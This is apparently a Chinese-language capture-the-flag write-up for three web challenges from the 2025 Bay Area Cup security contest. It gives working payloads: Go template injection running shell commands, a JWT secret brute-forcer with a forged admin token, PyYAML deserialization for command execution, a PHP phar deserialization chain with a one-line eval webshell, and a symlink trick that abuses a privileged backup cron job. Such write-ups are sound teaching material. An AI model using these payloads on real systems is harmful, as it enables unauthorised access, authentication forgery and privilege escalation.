2025年湾区杯网络安全大赛web题解
2025年湾区杯网络安全大赛web题解
web
ssti
go的ssti,通过fuzz,可以发现{{.}}有东西。

为go语言中上下文的一些数据内容,这里说明了两个函数,B64Decode和exec。
用法为:
{{B64Decode "bHM="}}
{{exec "ls"}}直接 exec 执行不了,需要配合 B64Decode。


{{exec (B64Decode "Y2F0IC9mbGFn")}}ez_python
执行文件需要admin。
随便伪造一个jwt会看到hint。

缺少末尾两位。
jwt爆破密钥。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTF 用 — 爆破已知前缀且末尾两字符未知的 HS256 JWT 密钥
用法: python3 jwt_bruteforce.py
"""
import base64
import hmac
import hashlib
import itertools
import sys
import time
# --- 配置区 ---
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
prefix = "@o70xO$0%#qR9#" # 你提供的已知前缀
# 选择用于枚举的字符集(可按需增减)。两位未知,组合数 = len(charset)**2
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{};:,.<>/?~`\\|"
# 若你确信未知字符只为字母数字,可改为:
# charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
# --- End 配置区 ---
def b64url_encode(b: bytes) -> str:
return base64.urlsafe_b64encode(b).decode().rstrip("=")
def b64url_decode(s: str) -> bytes:
# 补齐并解码
s2 = s + "=" * (-len(s) % 4)
return base64.urlsafe_b64decode(s2)
def split_jwt(t: str):
parts = t.split('.')
if len(parts) != 3:
raise ValueError("看起来不是标准三段 JWT")
return parts[0], parts[1], parts[2]
def try_bruteforce(token, prefix, charset):
header_b64, payload_b64, sig_b64 = split_jwt(token)
signed_part = header_b64 + "." + payload_b64
target_sig = sig_b64
total = len(charset) ** 2
tried = 0
start = time.time()
print(f"[+] 开始爆破,共 {total} 种组合(字符集长度 {len(charset)})")
for a, b in itertools.product(charset, repeat=2):
tried += 1
secret = prefix + a + b
mac = hmac.new(secret.encode(), signed_part.encode(), hashlib.sha256).digest()
cand_sig = b64url_encode(mac)
if cand_sig == target_sig:
elapsed = time.time() - start
print(f"\n[FOUND] 密钥: {secret}")
print(f"[FOUND] 用时: {elapsed:.2f}s, 尝试次数: {tried}/{total}")
# 显示 payload(解码)
try:
payload_bytes = b64url_decode(payload_b64)
print("[+] Payload (utf-8):")
print(payload_bytes.decode("utf-8", errors="replace"))
except Exception as e:
print("[!] 无法解码 payload:", e)
return secret
# 简单进度输出(每 500 次更新一次)
if tried % 500 == 0:
pct = tried / total * 100
elapsed = time.time() - start
rate = tried / max(elapsed, 1e-6)
eta = (total - tried) / rate if rate > 0 else float("inf")
sys.stdout.write(f"\r 进度: {tried}/{total} ({pct:.2f}%) 速率: {rate:.1f} it/s 估计剩余: {eta:.1f}s")
sys.stdout.flush()
print("\n[-] 爆破完成,未找到匹配密钥。")
return None
if __name__ == "__main__":
found = try_bruteforce(token, prefix, charset)
if not found:
print("提示:")
print(" - 检查是否前缀确实正确;")
print(" - 缩小或扩大字符集(例如只用字母数字);")
print(" - 如果末尾可能是 unicode 或非 ascii 字符,需要把字符集调整为相应字符;")
print(" - 也可把末尾长度改成 1/3/4 等(当前脚本固定为 2)。")
得到完整密钥:@o70xO$0%#qR9#m0
然后伪造jwt。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70
pyyaml可以打。
https://cloud.tencent.com/developer/article/2274388
!!python/object/new:os.system ["whoami"]
sleep 5秒成功。
这样打没有回显并且不出网,换payload。
!!python/object/new:eval
- "__import__('os').popen('id').read()"![]()
得到回显。
!!python/object/new:eval
- "__import__('os').popen('cat /f*').read()"flag{fvLbA6IEX9Q5EVZQAfN8aGbGdQc1gVKd}easy_readfile
首先访问题目链接,获取源码
这里可以明显的看出来一个反序列化,下面的重点是关注Acheron类的作用
代码如下
class Acheron {
public $mode;
public function __destruct(){
$data = $_POST[0];
if ($this->mode == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".phar";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->mode == 'r') {
waf($data);
$f = include($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}这里我们可以看到里面存在两个模式,一个为写入,一个为读取,其中写入的内容data是通过传参控制,以及写入的文件为phar文件,但是存在对于data参数的waf,首先是用来防止直接写入恶意的php语句,以及通过include直接打伪协议
由于上面传的1存在长度的限制,导致我们无法直接通过构造较长的反序列化流,但是发现并未禁用phar伪协议,这就意味着我们可以通过传入一个恶意的phar文件流实现反序列化或者实现任意文件包含
继续分析上面的反序列化流,这段链子简单但是最终利用应该是打原生类,通过走到Coral的set方法中实现,但是这个不如直接写入一句话木马直接
class Coral{
public $pivot;
public function __set($k, $value) {
$k = $this->pivot->ctor;
echo new $k($value);
}
}
class Nimbus{
public $handle;
public $ctor;
public function __destruct() {
return $this->handle();
}
public function __call($name, $arg){
$arg[1] = $this->handle->$name;
}
}
class Zephyr{
public $target;
public $payload;
public function __get($prop)
{
$this->target->$prop = $this->payload;
}
}下面我们通过构造恶意的phar文件,但是我们需要将文件的内容通过传参的形式赋值到生成的随机的phar文件中,这一步我们便可以通过脚本实现gz压缩生成的phar文件内容,再通过URL编码传参,这样还可以实现绕过waf的检查
首先通过php文件实现生成恶意流的phar文件
<?php
//黄色部分是可控的
highlight_file(__FILE__);
@unlink('test2.phar'); //会删除原有的test.phar文件(如果有)
$phar=new Phar('test2.phar'); //创建一个phar对象,文件名必须为phar
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php phpinfo();__HALT_COMPILER(); ?>');//写入stub
$o="aa";
$phar->setMETADATA($o); //写入neta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>通过脚本对起进行压缩编码
import urllib.parse # 导入URL编码/解码模块,用于处理特殊字符的转义
import gzip # 导入GZIP压缩模块,用于数据压缩
# 以二进制读取模式打开名为'test1.phar'的文件
# 使用with语句确保文件在使用后正确关闭,避免资源泄露
with open('test2.phar', 'rb') as file:
# 读取文件的全部内容到变量zip_file中
# 注意:变量名zip_file可能引起误解,这里实际存储的是未压缩的PHAR文件内容
zip_file = file.read()
# 使用gzip压缩读取的文件内容
# 压缩可以减少数据大小,便于网络传输,同时保持数据的完整性
data = gzip.compress(zip_file)
# 对压缩后的二进制数据进行URL编码
# 这一步将特殊字符转换为%后跟两位十六进制数的形式,确保数据可以安全地在URL中传输
string = urllib.parse.quote(data)
# 打印编码后的字符串
# 这个字符串可以通过HTTP请求传输,接收方需要先URL解码再GZIP解压才能恢复原始PHAR文件
print(string)
发包,将1参数改为Acheron为w模式写入

下面通过phar伪协议成功实现phpinfo
下面我们通过写入一句话木马实现rce
<?php
//黄色部分是可控的
highlight_file(__FILE__);
@unlink('test2.phar'); //会删除原有的test.phar文件(如果有)
$phar=new Phar('test2.phar'); //创建一个phar对象,文件名必须为phar
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php @eval($_POST[4]);__HALT_COMPILER(); ?>');//写入stub
$o="aa";
$phar->setMETADATA($o); //写入neta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>下面通过上述方法成功命令执行,尝试读取flag,发现无法读取,怀疑是权限不够


我们可以先通过蚁剑连接方便终端查看
设置好参数成功连接

在根目录下查看run.sh文件时,这里每10秒通过将/var/www/html的文件cp到backup中,并且存在高权限
所以我们可以利用特殊文件名实现打断cp,最后将我们的软链接复制到backup中,读取flag
ln -s /flag flag
ls -- >> -H //创建特殊文件名
//最后cd backup
cat flag